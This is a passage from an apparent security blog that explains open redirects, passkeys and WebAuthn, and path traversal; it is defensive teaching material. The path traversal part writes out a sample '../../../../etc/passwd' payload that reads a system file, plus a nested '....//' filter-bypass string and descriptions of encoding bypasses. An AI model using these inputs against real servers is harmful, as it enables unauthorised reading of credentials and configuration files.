same, but it runs in the browser, so it needs the allowlist check applied client-side, not only on the server. **What does an open redirect have to do with OAuth?** Authorization flows deliver codes or tokens to a redirect URI. If that target can be steered to an attacker origin, the secrets can leak. This is why OAuth requires strict, pre-registered redirect URIs matched exactly, with no wildcard hosts. **If we must redirect to external sites, what reduces the risk?** Route external hops through an interstitial page that shows the full destination and requires a deliberate click, which breaks the silent hand-off phishing relies on. Combine it with strict URL parsing. This reduces the risk without fully removing it, so reserve external redirects for cases that genuinely need them. Open redirects trade on trust you spent years building, and they hand it to whoever crafts the link. Attackers hunt for them specifically because a redirect on a reputable domain makes their phishing convert. To see how these trust-abuse techniques fit into the wider exploitation landscape, our Exploit Intelligence dashboard tracks the methods and campaigns in active use. Stop redirecting to raw input, resolve destinations from an allowlist, and gate any unavoidable external hop behind a visible warning, and your domain stops working for the attacker. ## Related guides - [What Is Phishing](/what-is-phishing) - [Host Header Injection Explained](/host-header-injection-explained) - [SSRF Explained](/ssrf-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP: Unvalidated Redirects and Forwards Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html - PortSwigger Web Security Academy: DOM-based open redirection (PortSwigger): https://portswigger.net/web-security/dom-based/open-redirection - MITRE CWE-601: URL Redirection to Untrusted Site (Open Redirect) (MITRE): https://cwe.mitre.org/data/definitions/601.html --- ## Passkeys Explained: Phishing-Resistant Passwordless Login > What passkeys are, how they log you in without a password, why they resist phishing, and where adoption stands, in plain language. - URL: https://blog.pwnsy.com/passkeys-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: web-security - Tags: passkeys, passwordless, fido, authentication, phishing - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification) ### TL;DR - A passkey is a cryptographic key pair that replaces a password. Your device keeps a private key, the website keeps a public key, and login proves you hold the private key without ever sending a secret. - Passkeys resist phishing because the private key is bound to the real site's domain. A lookalike phishing page cannot trigger a valid signature. - You unlock the passkey locally with your face, fingerprint, or device PIN. That biometric never leaves your device and is not sent to the website. - Passkeys sync across your devices through your platform account, and every major operating system and browser now supports them. ### Key Takeaways - Passkeys are built on the FIDO2 and WebAuthn standards, the same public-key foundation used by hardware security keys. - There is no shared secret to steal, so a breach of the website leaks only public keys, which are useless to an attacker. - Domain binding is the property that defeats phishing. The browser and authenticator only sign for the origin that created the passkey. - Synced passkeys favour convenience and recovery, while device-bound passkeys on hardware keys favour the highest assurance. - Passkeys can replace both the password and the second factor, because the login is already two factors: something you have and something you are or know. Passwords have failed slowly and then all at once. People reuse them, attackers phish them, and a single leaked database can unlock accounts across the web. Passkeys are the industry's answer, and unlike most password replacements before them, they are backed by every major platform vendor and are already in your phone and laptop. This guide explains what a passkey actually is, how the login works, why it stops phishing where passwords cannot, and where things stand today. ## What a passkey is A passkey is a pair of cryptographic keys tied to one website or app. When you create a passkey, your device generates two mathematically linked keys. The **private key** stays on your device, protected by hardware and never shared. The matching **public key** goes to the website and gets stored on its server. The public key is not a secret. It can verify a signature, but it cannot create one, and it cannot be reversed into the private key. So even if the website is breached and every public key it holds is stolen, an attacker gains nothing they can log in with. This is the structural difference from passwords. There is no shared secret sitting on the server waiting to be stolen and replayed. For the signing mechanism underneath, see [How Digital Signatures Work](/how-digital-signatures-work). ## How the login works The passkey login is a challenge and response, and the whole exchange takes a fraction of a second. 1. You start to sign in. The website sends your device a random **challenge**, a one-time chunk of data. 2. Your device asks you to confirm with your face, fingerprint, or device PIN. This unlocks the private key locally. 3. The private key **signs** the challenge, producing a signature. 4. Your device sends the signature back. The website verifies it against your stored public key. 5. If the signature checks out, you are in. Notice what never crosses the network: the private key and your biometric. The biometric only unlocks the key on your own device; it is not transmitted and the website never sees it. What travels is a signature over a one-time challenge, which is useless to replay because the next login uses a fresh challenge. The fingerprint or face scan a passkey asks for is a local unlock, not a login credential sent to the site. It releases the private key from your device's secure hardware. The website only ever receives a signature, so a breach of the site cannot expose your biometrics. ## The WebAuthn ceremony in detail The plain description above is accurate, but it hides some machinery worth understanding, because that machinery is exactly what makes the phishing resistance work. WebAuthn defines two ceremonies. Registration creates a passkey, and authentication uses it. Three parties take part in each. The **relying party** is the website or app you are signing in to, plus its server. The **client** is your browser or operating system, which runs the WebAuthn logic and enforces the origin checks. The **authenticator** is the thing that actually holds the private key: the secure enclave in your phone or laptop, or an external security key. When the authenticator is external, the client talks to it using a companion protocol called CTAP, the Client to Authenticator Protocol, over USB, NFC, or Bluetooth. WebAuthn and CTAP together make up FIDO2. ### Registration: creating the passkey Registration is the ceremony that generates the key pair and hands the public half to the server. It runs roughly like this. 1. The server generates a random challenge and sends it to the client along with the relying party identifier, usually the site's registrable domain, and a user handle that identifies your account without revealing your email. 2. The browser calls the authenticator with a `navigator.credentials.create` request. Before it does, it records the true origin it is running on and the type of request. This bundle is called the client data. 3. The authenticator asks you to confirm presence and identity with a tap, a fingerprint, or a PIN. This is user verification, and it proves a human is present rather than a script. 4. The authenticator generates a fresh key pair scoped to that relying party identifier, stores the private key, and returns the public key together with a credential identifier and, optionally, an attestation statement. 5. The server stores the public key, the credential identifier, and a signature counter against your account. The relying party identifier is the anchor for everything that follows. A passkey created for `bank.example` records `bank.example` as its scope, and the authenticator will refuse to use it for any other origin. That single rule is the seed of the phishing resistance. ### Authentication: using the passkey Authentication is the ceremony you run every time you log in afterwards. 1. The server sends a fresh random challenge and, optionally, a list of credential identifiers it will accept. 2. The browser calls `navigator.credentials.get`. It builds the client data again, embedding the real origin, the challenge, and the request type. 3. The client checks that the relying party identifier the site claims actually matches the origin in the address bar. If they do not match, the ceremony stops here and no signature is ever produced. 4. The authenticator verifies you locally, then signs a payload made of two parts joined together: the authenticator data (which includes a hash of the relying party identifier and an incrementing counter) and a hash of the client data. 5. The server verifies the signature with your stored public key, confirms the challenge is the one it issued, confirms the relying party hash matches, and checks that the signature counter has moved forward rather than backward. Because the client data that gets signed contains the real origin, the server can detect a mismatch even in the rare case that a malicious client tried to lie about it. The origin is not a claim the attacker controls after the fact. It is baked into the signed bytes. Each authenticator keeps a counter that ticks up on every signature. The server stores the last value it saw. If a login ever arrives with a counter lower than or equal to the stored one, that is a sign the credential may have been copied onto a second device, and the server can reject the login or flag the account. Synced passkeys often report a zero counter by design, so this signal applies mainly to device-bound authenticators. ### A worked example Picture signing in to an email provider that you registered a passkey with last month. You type the address of the site and click sign in. The server picks a 32 byte random challenge and sends it down with its relying party identifier. Your browser confirms the identifier matches the domain in the address bar, then prompts you for a fingerprint. The secure enclave releases the private key for that one site, signs the authenticator data and the client data hash, and returns a short blob. The server looks up your public key by the credential identifier, verifies the signature, sees the challenge is fresh and the counter has advanced, and drops a session cookie. The entire round trip is one fingerprint touch and well under a second of computation. At no point did a reusable secret exist that a bystander, a breached database, or a lookalike page could capture. ## Why passkeys resist phishing Phishing works against passwords because a password is a portable secret. If an attacker builds a page that looks like your bank and you type your password in, the attacker now has that secret and can use it on the real site. Nothing about the password knows which site it was meant for. A passkey does know. When it is created, it is bound to the website's **origin**, its exact domain. At login, the browser and the authenticator only produce a signature for the origin that owns the passkey. If you land on `bank-login.example.com` instead of the real `bank.example`, the passkey for the real domain simply will not fire. There is no matching credential, so there is nothing to hand over. This is why passkeys are called phishing-resistant. The protection is not a filter that tries to spot fake sites. It is structural: the credential is cryptographically tied to the legitimate domain, and a lookalike domain cannot coax a valid signature out of it. Against the phishing techniques covered in [What Is Phishing](/what-is-phishing), that binding removes the entire attack. ## Passwords versus passkeys | Property | Password | Passkey | |---|---|---| | Stored on server | A hash of a shared secret | A public key only | | Value if server is breached | High: hashes can be cracked and reused | None: public keys cannot log in | | Phishing resistance | None: the secret is portable | Strong: bound to the real domain | | Reuse across sites | Common and dangerous | Impossible: each site gets its own key | | What you do to log in | Recall and type a string | Confirm with biometric or PIN | | Second factor needed | Yes, to be safe | No: the passkey is already multi-factor | The last row is worth dwelling on. A passkey login already combines something you have (the device holding the private key) with something you are or know (the biometric or PIN that unlocks it). That makes it multi-factor by construction, which is why a passkey can replace both the password and the separate second-factor step described in the [Two-Factor Authentication Guide](/two-factor-authentication-guide). ## Synced versus device-bound passkeys Passkeys come in two flavours, and the difference is about where the private key can live. **Synced passkeys** back up and sync through your platform account, such as your Apple, Google, or Microsoft account, usually end-to-end encrypted. The upside is recovery and convenience: lose your phone, and your passkeys are still available on your other devices. The trade-off is that their security now leans on the account that syncs them. **Device-bound passkeys** never leave the piece of hardware that created them, typically a physical security key. The upside is the highest assurance, since the key cannot be copied off the device. The trade-off is that there is no automatic recovery, so you register a backup key. For choosing hardware, see [Best Hardware Security Keys](/best-hardware-security-keys). For most people, synced passkeys are the right default. For high-value accounts and administrators, device-bound keys on dedicated hardware raise the bar further. Whichever flavour you use, enrol at least two authenticators per important account, for example your phone plus a hardware key, and keep one recovery method. Passkeys remove the password, so account recovery becomes the thing you must plan for deliberately. ## Where adoption stands Passkeys are past the pilot stage. Apple, Google, and Microsoft all support them across their operating systems and browsers, and passkeys sync through each vendor's account system. A large and growing list of consumer services, from email providers to retailers to developer platforms, now let you sign in with a passkey. The underlying standards, WebAuthn from the W3C and FIDO2 from the FIDO Alliance, are stable and broadly implemented, which is what lets a passkey created on one platform work through a shared model rather than a proprietary one. For the standard itself, see [WebAuthn Explained](/webauthn-explained). The remaining friction is mostly about the edges: account recovery flows, moving passkeys between ecosystems, and helping users understand a login that no longer involves typing anything. These are being worked on, and none of them undermine the core security gain. Attackers are adapting too, mostly by targeting the fallback paths rather than the passkey itself. Our Exploit Intelligence dashboard tracks live vulnerabilities in authentication and account-recovery components, so you can see where the real pressure is landing as passwordless login spreads. ## What passkeys do not fix It helps to be precise about the boundary. Passkeys make the login step phishing-resistant, and that is a large gain, but a login is only one part of an account's security. Three areas stay your responsibility. Account recovery is the big one. Remove the password and the "reset your password" flow no longer exists, so whatever you put in its place, an email link, a recovery code, a support process, becomes the weakest path into the account. Attackers know this and increasingly aim there rather than at the passkey. Design recovery to be as strong as the passkey login it backs up. Session security is another. Once a passkey logs you in, the session that follows is an ordinary session with an ordinary token, and it can still be stolen through malware or a hijacked cookie. Passkeys protect the front door, not the whole house. And device trust matters. A synced passkey is only as safe as the platform account it syncs through and the devices that account reaches. Securing that account, ideally with its own strong authentication, is part of the picture rather than an afterthought. None of this diminishes the core win. It just means passkeys are a strong login, deployed alongside the rest of your account security rather than in place of it. ## How passkeys compare to other login methods Passkeys are one point on a spectrum of ways to prove who you are. Ranking them against the common alternatives makes the trade-offs concrete. | Method | Phishing resistant | Secret on server | Works offline | Main weakness | |---|---|---|---|---| | Password only | No | Hash of a shared secret | Yes | Reuse, cracking, phishing | | SMS one-time code | No | The phone number of record | No | SIM swap and interception (MITRE T1111) | | Authenticator app (TOTP) | No | A shared seed | Yes | Real-time relay to a fake page | | Push approval | Partly | A registration record | No | Approval fatigue (MITRE T1621) | | Magic email link | No | Nothing durable | No | Mailbox takeover, link relay | | Security key (FIDO U2F) | Yes | A public key | Yes | Carrying and recovery | | Passkey (FIDO2) | Yes | A public key | Yes | Recovery flow, account sync trust | The pattern in the table is clear. Every method that keeps a shared secret, whether it is a password, a TOTP seed, or a code sent over the network, can be relayed or replayed by an attacker who tricks the user in real time. A modern phishing kit sits between the victim and the real site, forwards the one-time code the moment it is typed, and steals the resulting session. Passkeys and the U2F security keys they descend from break that pattern because the browser refuses to sign for the wrong origin, so there is no code to forward in the first place. ## How passkeys evolved Passkeys did not appear from nothing. The FIDO Alliance published its first specifications in 2014, one for a passwordless flow and one, called U2F, for a second-factor security key. U2F worked and shipped, mostly as physical keys that you plugged in after typing a password. Its ceiling was adoption: a spare piece of hardware is a hard sell for the average person, and losing it meant a painful recovery. The next step folded that model into the web platform. WebAuthn became a W3C standard, browsers built it in, and the combination of WebAuthn plus CTAP was named FIDO2. Now any website could invoke a security key or a platform authenticator through a standard browser API, with no plugin. The final step, the one that produced the word passkey, was making the credential recoverable. Early FIDO credentials were bound to one device, which meant a lost phone was a lost credential. The platform vendors added end to end encrypted sync so a credential could back up to your account and reappear on your other devices. A credential that can move like this is a multi-device credential, and the marketing name for it, agreed across the industry, is passkey. That single change is what took the technology from a security enthusiast's tool to something a phone maker could turn on for a billion people. ## Detection and monitoring for defenders If you run a service, passkeys change what your logs should watch for. Because the login step itself is hard to attack, the useful signals move to the edges of the flow. - **Counter regressions.** A signature counter that fails to advance on a device-bound authenticator suggests a cloned or exported credential. Alert on it and consider forcing re-enrolment. - **Recovery path spikes.** A surge in password resets, recovery-code use, or support-driven account resets is the sign that attackers have shifted to the fallback rather than the passkey. Rate limit and add friction to recovery, since that is now the weakest door (CWE-640, weak password recovery mechanism). - **New authenticator enrolment.** Treat adding a passkey as a sensitive action. Require a fresh user verification, notify the account owner out of band, and log the origin and device details. - **Fallback downgrade attempts.** Watch for sessions that skip the passkey and fall back to a password or a one-time code from unusual locations. Attackers who cannot beat the passkey will try to force a weaker method (MITRE T1556, modify authentication process). - **Session anomalies after login.** A valid passkey login followed by a session used from a second network or device may indicate a stolen session token rather than a defeated passkey (MITRE T1539, steal web session cookie). The theme is consistent. Once the front door is a passkey, your monitoring budget belongs on recovery, enrolment, and session handling. ## Common misconceptions A few beliefs about passkeys come up again and again and deserve correcting. **"My fingerprint is sent to the website."** It is not. The biometric is a local unlock for the private key and never leaves the device. The site receives a signature, and nothing else. **"If I lose my phone, I lose my accounts."** For synced passkeys, the credential is backed up to your platform account and reappears on your other devices, so a lost phone is an inconvenience rather than a lockout, provided you enrolled a backup and can still reach your account. **"A passkey is just a password stored in my browser."** A stored password is still a shared secret that can be phished or leaked. A passkey is a private key that never leaves your device and never travels to the server, so there is nothing on the server to steal and nothing to type into a fake page. **"Passkeys mean I no longer need a second factor."** The passkey already is two factors, something you have and something you are or know, so a separate second step is redundant for the login itself. The care you used to spend on a second factor now belongs on account recovery. **"Passkeys make my account unhackable."** They make the login step phishing-resistant. Session theft, malware on your device, and weak recovery flows remain real, so passkeys are one strong layer among several (CWE-287, improper authentication, covers the login, not the whole account). ## Frequently asked questions **Can two people share one passkey?** Not cleanly. A passkey is bound to the authenticator that created it and, for synced passkeys, to one person's platform account. Shared access is better handled with separate passkeys per person and role-based access on the service, rather than by copying a credential. **What happens if a website is breached?** The attacker gets public keys, which cannot log in and cannot be reversed into private keys. There is no password hash to crack and no secret to replay. The breach still matters for other data the site holds, but your login credential is not exposed (CWE-522, insufficiently protected credentials, is the class of problem passkeys avoid on the server side). **Do passkeys work across different brands of device?** Yes, through the shared standard. A passkey created on one platform can be used on another device by scanning a QR code and approving on your phone over a local Bluetooth check, which confirms the two devices are physically near each other. Moving a passkey's storage between ecosystems is still maturing, but using one across devices already works. **Are passkeys safe if my phone is stolen?** The thief still needs your biometric or device PIN to unlock the passkey, and modern devices rate limit and lock after failed attempts. Set a strong device unlock and enable remote wipe. The private key sits in secure hardware that resists extraction even with the phone in hand. **Can I still use a password as a backup?** You can, and many people keep one during the transition. Be aware that leaving a password enabled preserves a phishable path into the account, so for high-value accounts the goal is to remove or tightly restrict the password once your passkeys and recovery are solid. **Do passkeys require an internet connection?** The signing happens locally on your device, so the cryptography itself is offline. You still need connectivity to reach the website and complete the login, the same as any online sign-in. **How is a passkey different from a hardware security key?** A hardware security key is one kind of authenticator, usually device-bound, that holds FIDO credentials on a physical token. A passkey is the same underlying credential, more often synced through a platform account and stored in your phone or laptop. A hardware key can hold a passkey, and for the highest assurance many people use both. ## Getting started The practical path is simple. On accounts that offer it, add a passkey from the security settings. Keep the password in place at first as a fallback while you get comfortable, then remove or lock it down once your passkeys and backups are in order. Enrol a second authenticator so a lost device is an inconvenience rather than a lockout. That is most of the work, and it moves your most important accounts onto a login that a phishing page cannot defeat. ## Related guides - [FIDO2 vs WebAuthn vs Passkeys](/fido2-vs-webauthn-vs-passkeys) - [WebAuthn Explained](/webauthn-explained) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) - [Best Hardware Security Keys](/best-hardware-security-keys) - [What Is Phishing](/what-is-phishing) ### Sources - Passkeys Overview (FIDO Alliance): https://fidoalliance.org/passkeys/ - Web Authentication: An API for accessing Public Key Credentials (WebAuthn Level 2) (W3C): https://www.w3.org/TR/webauthn-2/ - OWASP: Authentication Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html --- ## Path Traversal: Directory Traversal, LFI & Canonicalization > How ../ sequences escape an intended directory to read arbitrary files, why canonicalization matters, and how allowlists stop path traversal. - URL: https://blog.pwnsy.com/path-traversal-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: path-traversal, web-security, owasp, lfi, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Path traversal lets an attacker supply a filename containing ../ sequences to escape the directory an application meant to confine them to, reaching arbitrary files. - The impact runs from reading sensitive files like configuration and credentials to, in some setups, writing files or including code (local file inclusion). - Filtering ../ by simple string replacement fails, because encodings, absolute paths, and nested sequences all bypass it. - The robust fix is to canonicalize the resolved path and confirm it stays inside an allowed base directory, ideally combined with mapping user input to known-safe filenames. ### Key Takeaways - The ../ sequence means parent directory, so each one climbs one level up the filesystem, escaping the intended folder when the application trusts the input. - Canonicalization resolves a path to its true absolute form, which is what lets you reliably check whether it still lives under the allowed base. - Blocklisting ../ is fragile: URL encoding, double encoding, absolute paths, and platform-specific separators evade it, so allowlisting is the durable control. - Local file inclusion is path traversal that reaches code the server then executes or includes, turning file read into code execution in some stacks. - The strongest pattern avoids user-controlled paths entirely by mapping an identifier to a fixed, server-side filename. An application that serves files from a folder based on a name in the request is making a quiet assumption: that the name refers to a file inside that folder. Filesystems do not enforce that assumption. A filename can point up and out of the intended directory using the parent-directory sequence, and if the application passes the user's name straight to the filesystem, an attacker can walk out of the box and read whatever the process can reach. That is path traversal, also called directory traversal. It is one of the oldest web vulnerabilities and still one of the most common, because file handling shows up everywhere: downloads, template loading, image serving, log viewers, avatar storage, report generation. Every one of those is a place where a filename crosses from the user into a filesystem call, and every one is a potential traversal bug. ## The core mechanism Suppose an application serves user manuals from a fixed directory and builds the path by appending the requested filename: ``` /var/www/manuals/ + ``` Ask for `intro.pdf` and it reads `/var/www/manuals/intro.pdf`. Ask for this instead: ``` ../../../../etc/passwd ``` and the path becomes `/var/www/manuals/../../../../etc/passwd`. Each `../` climbs one directory up. Enough of them reach the filesystem root, and the trailing `etc/passwd` then descends to a sensitive file far outside the manuals folder. The application meant to expose a directory of PDFs. It exposed the whole filesystem, read-only, to the extent its process account has access. The `..` entry is a real filesystem feature meaning "the parent directory." It exists so that relative paths can move around a tree. Path traversal is just an attacker using that feature against an application that assumed the user would only ever move downward. The assumption is easy to make and hard to notice. In development, a filename really is just the name of a file in the expected folder, because the developer only ever types well-behaved names. Nothing in the code visibly says "the user may only descend." That rule lives entirely in the developer's head, and the filesystem was never told about it. An attacker who supplies a name the developer never tried is not breaking a rule the code enforces. They are exposing that the code enforced no rule at all. ## What the impact looks like | Outcome | Description | |---|---| | Sensitive file read | Configuration files, credentials, source code, private keys, session data | | Information disclosure | Server details that inform a follow-up attack | | Local file inclusion (LFI) | The read file is then included or executed by the server, reaching code execution | | File write / overwrite | In upload flows, a traversal path can place a file outside the intended directory | Local file inclusion deserves a note. In stacks where the application both reads a file and includes and runs it, a traversal that reaches an attacker-influenced file (an uploaded avatar, a log the attacker can poison) can turn file read into code execution. That is why traversal in a file-inclusion context is more dangerous than traversal in a plain download endpoint, and why it sits close to [command injection](/command-injection-explained) on the severity scale. ## Why naive filtering fails The obvious defense is to strip `../` from the input. Attackers have several reliable ways around a naive strip: - **URL and double encoding.** The sequence can be written percent-encoded, or double-encoded so that one decoding pass leaves a still-encoded `../` that a later stage decodes. A filter that ran before the final decode never sees the real sequence. - **Absolute paths.** If the code appends input to a base but the filesystem treats the input as absolute, an absolute path can ignore the base entirely. - **Nested sequences.** Removing `../` once from a string like `....//` leaves `../` behind, defeating a single-pass replace. - **Platform separators.** Different operating systems accept different path separators, so a filter tuned for one may miss another. The pattern is familiar from every injection class: blocklisting the bad thing loses to an attacker who has many spellings of the bad thing. The fix has to work on the resolved meaning of the path, not its surface text. A related trap is validating too early in a multi-stage pipeline. Input often passes through several layers before it reaches the filesystem: a web framework decodes it once, application code may decode or normalize it again, and the operating system does its own resolution when the file is opened. A check that runs at the first stage inspects a string that no longer matches what the last stage will act on. Each decoding pass can reveal a sequence the previous check could not see. The only stage whose view of the path is authoritative is the one immediately before the file is opened, which is exactly why the containment check belongs there and nowhere earlier. The mistake that keeps path traversal alive is checking the input before the system resolves it. By the time the operating system opens the file, encodings have been decoded, sequences collapsed, and symlinks followed, and the real target may be nothing like the string you inspected. Always resolve the path to its canonical absolute form first, then check that the canonical result still sits under your allowed base directory. Validate what the filesystem will actually open, not what the user typed. ## Canonicalization and the containment check Canonicalization is the act of reducing a path to its one true absolute form: decoding it, resolving every `.` and `..`, and following symbolic links. Once you have the canonical path, you can make a reliable decision, because there is nothing left to reinterpret. The containment check is then simple to state: 1. Take the user input and join it to your fixed base directory. 2. Canonicalize the result to an absolute path. 3. Confirm that the canonical path still begins with the canonical base directory. 4. If it does not, reject the request. Do not read the file. This works because it operates on the destination the filesystem would actually reach, after all the attacker's encoding tricks have been resolved away. A traversal that escaped the base directory produces a canonical path outside it, and the prefix check catches it. ## The stronger pattern: never take a path from the user Canonicalization plus containment is solid. Removing user-controlled paths altogether is better. Where the design allows it, do not let the user name a file at all. Instead, give each file an identifier and map that identifier to a real filename on the server: - The user requests document `4821`. - The server looks up `4821` in a table or a fixed mapping and finds the real path. - The user never supplies a path component, so there is nothing to traverse. This eliminates the class of bug rather than defending against it, and it composes well with access-control checks, since the lookup is a natural place to confirm the user is allowed that file. Use an indirection map to keep user input out of the path, and keep the canonicalize-and-contain check as a backstop for any endpoint that genuinely must accept a filename. The map removes most of the surface, and the containment check protects the parts you cannot avoid. Together they mean a traversal payload has nowhere to land even if one layer is misconfigured. ## How to defend against path traversal 1. **Map identifiers to server-side filenames** wherever possible, so the user never supplies a path. This is the most complete fix. 2. **Canonicalize then contain.** For endpoints that must accept a name, resolve the full path to its canonical absolute form and verify it still lives under the allowed base directory before opening it. 3. **Allowlist acceptable input**, constraining filenames to a known-safe character set and, where sensible, to expected extensions, instead of blocklisting `../`. See our [input validation guide](/input-validation-guide) for building these checks. 4. **Run with least privilege**, so a process that is tricked still cannot read files outside what it legitimately needs. File permissions are a real second line of defense. 5. **Store uploads outside the web root** and serve them through code that applies the checks above, so a traversal in an upload path cannot place executable content where the server will run it. ## How bypasses actually look The list of bypass families earlier is easier to internalize with the shapes attackers reach for. Each one exists because a filter inspects surface text while the filesystem acts on resolved meaning. - **Percent-encoded separators.** A `../` can be written with its slash percent-encoded, so a filter scanning for the literal three characters never matches. The web layer decodes it later, restoring the real sequence just before the file is opened. - **Double encoding.** The percent sign itself is encoded, so one decoding pass turns the input into a still-encoded sequence and a second pass turns that into the working `../`. A check that runs after only the first decode sees an innocent string. - **Nested and overlapping sequences.** A payload like `....//` survives a single-pass strip of `../`, because removing the inner sequence leaves the outer characters that recombine into `../`. Any filter that replaces once rather than resolving fully falls to this. - **Absolute path injection.** If the code appends user input to a base, but the input names an absolute path, the join can discard the base entirely on some platforms, so no traversal sequence is even needed. - **Mixed separators and trailing tricks.** Different platforms accept different separators, and trailing dots or spaces on some filesystems change how a name resolves, so a filter tuned to one convention misses the others. The common thread is that every one of these looks different on the surface and resolves to the same destination underneath. That is the entire argument for validating the resolved path rather than the raw string. A defense that works on canonical meaning is immune to how many spellings the attacker invents, because all of them collapse to one canonical answer before the containment check runs. ## Detection signals Traversal attempts leave a recognizable trace in request logs and application telemetry. The concrete signals below are worth alerting on. - **Traversal tokens in request parameters.** Literal `../` and `..\\` sequences, and their encoded forms, appearing in any parameter that later reaches a file operation. Encoded variants matter as much as the literal ones. - **References to sensitive system paths.** Requests containing well-known targets such as system password files, application configuration files, or key material, especially aimed at file-serving endpoints. - **File-read errors and anomalous status codes.** A burst of not-found or permission-denied responses from a download or file endpoint can indicate an attacker probing for a path that resolves outside the base. - **Access to files the endpoint never legitimately serves.** Telemetry that records which real files an endpoint opened, flagging any open outside the intended base directory, catches a successful traversal directly at the filesystem layer. - **Repeated depth escalation.** Many requests differing only in the count of parent-directory sequences, climbing from one level to many, is the signature of an attacker feeling for the filesystem root. The strongest detection watches the resolved file access rather than the request text, for the same reason the strongest defense does: the request text can be disguised, and the file the process actually opened cannot. ## How path traversal compares to related bugs Traversal is one of several ways user input reaches a resource it should not. Placing it beside its neighbors sharpens what is distinct about it. | Technique | What the attacker controls | Typical result | Core fix | |---|---|---|---| | Path traversal | A filename or path that escapes an intended directory | Reading or writing files outside the box | Canonicalize then confirm containment under a base | | Local file inclusion | A path that the server then includes and executes | Code execution from a reachable file | Never include a path derived from input | | Server-side request forgery | A URL the server fetches on the attacker's behalf | Access to internal network resources | Allowlist destinations, resolve and validate the target | | Command injection | A string interpolated into a shell command | Arbitrary command execution | Avoid the shell, pass arguments as data | Local file inclusion is the closest neighbor and the reason traversal severity varies so widely by context. In a plain download endpoint, a successful traversal discloses files. In a stack that includes or executes the file it resolves, the same traversal reaches code execution, which is why traversal in an inclusion context sits close to command injection on the severity scale. Server-side request forgery rhymes with traversal at a higher layer: both take a locator from the user and reach a resource the user should not be able to name, and both are fixed by resolving the real destination and confirming it stays inside an allowed set. ## Common mistakes **Stripping the bad sequence instead of resolving the path.** A single-pass removal of `../` loses to nested sequences and encodings. Removal treats the symptom in the surface text while the filesystem acts on the resolved meaning. **Validating too early in the pipeline.** A check that runs before the final decode and open inspects a string the last stage will not act on. The only authoritative view of the path is the one immediately before the file is opened. **Trusting the base-directory join.** Appending input to a fixed base feels safe, and it fails when the input is an absolute path or contains enough parent sequences to climb out. The join is a starting point for the containment check, never the check itself. **Forgetting the write side.** Upload and file-write flows can place content outside the intended directory through the same traversal mechanics. A defense that covers reads while leaving writes unchecked leaves the higher-impact path open. **Relying on file permissions alone.** Least privilege is a valuable second line, and it does not stop a traversal from reading anything the process account can already reach, which on a typical server is a great deal. Permissions limit blast radius rather than preventing the bug. ## How it evolved Path traversal is one of the oldest classes of web vulnerability, dating to the earliest days of serving files by name over a network. The basic technique, feeding parent-directory sequences to climb out of an intended folder, has changed very little, because it exploits a legitimate and unchanging filesystem feature. What has evolved is the arms race around filtering. Early defenses tried to strip the offending sequence, attackers answered with encodings and nesting, and defenders eventually converged on the durable answer of resolving the path to its canonical form and checking containment. Framework maturity shifted the picture as well. Modern web frameworks and file APIs increasingly offer safe path-joining helpers and canonicalization routines that make the correct pattern easier to reach. The bug persists anyway, because file handling is spread across so many features, downloads, template loading, image serving, log viewers, uploads, that a single overlooked endpoint reintroduces the whole class. The defense has been known for a long time. The challenge is applying it uniformly across every place a filename crosses from the user into a filesystem call. ## Frequently asked questions **Is path traversal the same as local file inclusion?** They overlap. Path traversal is the act of escaping an intended directory to reach another file. Local file inclusion is what happens when the server then includes and executes the file that a traversal reached. Traversal is the mechanism, and inclusion is the more dangerous outcome in stacks that run the resolved file. **Why does stripping the parent-directory sequence fail?** Because the attacker has many spellings of the same sequence. Encoded and double-encoded forms, nested patterns that recombine after one removal, and platform-specific separators all bypass a surface strip. The filesystem acts on the resolved path, so a defense has to act there too. **What does canonicalization actually do?** It reduces a path to its one true absolute form by decoding it, resolving every current-directory and parent-directory element, and following symbolic links. Once a path is canonical there is nothing left to reinterpret, so a prefix check against the allowed base directory becomes reliable. **Do random or opaque filenames prevent traversal?** No. Traversal does not depend on guessing a name, it depends on the application passing a user-influenced path to the filesystem. The fix is to resolve and contain the path, or to remove user-controlled paths entirely by mapping an identifier to a fixed server-side filename. **Where should the containment check run?** Immediately before the file is opened, after every decoding and normalization step the input passes through. A check placed earlier inspects a value that later stages will change, so it can be bypassed by a sequence that only appears after a later decode. **How is traversal different from an authorization bug like IDOR?** Traversal escapes an intended directory on the filesystem, while an insecure direct object reference fetches an object the user is not entitled to through a missing authorization check. They can appear together when a file endpoint both accepts a path and omits an access check, and each has its own root cause and fix. **Can traversal lead to writing files, not just reading them?** Yes. Upload and file-save flows that build a destination path from user input can be steered to place a file outside the intended directory. Writing to a location the server later executes, or overwriting a configuration or startup file, turns a write-side traversal into a path to code execution or persistent compromise. Cover write paths with the same canonicalize-and-contain check you apply to reads, and store uploads outside the web root so a stray file cannot land where the server will run it. **Does running the app as a low-privilege user fix traversal?** It limits the damage without removing the bug. A least-privileged process still reads everything its own account can reach, which on a typical server includes application source, configuration, and session data. Treat least privilege as a valuable second line that shrinks blast radius, and keep the resolved-path containment check as the control that actually stops the escape. The two work best together, since one narrows what a successful traversal can reach and the other prevents the traversal from resolving outside the box in the first place. The delivery side of traversal often involves crafted filenames and file formats, and understanding how file names and formats carry payloads helps you spot the risky endpoints. Our exploit and file-format intelligence lives at the file-formats reference on data.pwnsy.com, which maps how different formats and naming tricks are used in real delivery. Path traversal endures because file handling is everywhere and the `..` sequence is a legitimate filesystem feature that applications forget to account for. The defense is not to chase every spelling of the escape. It is to decide the real destination the filesystem will reach, confirm it stays inside the box you meant, and, better yet, stop handing the 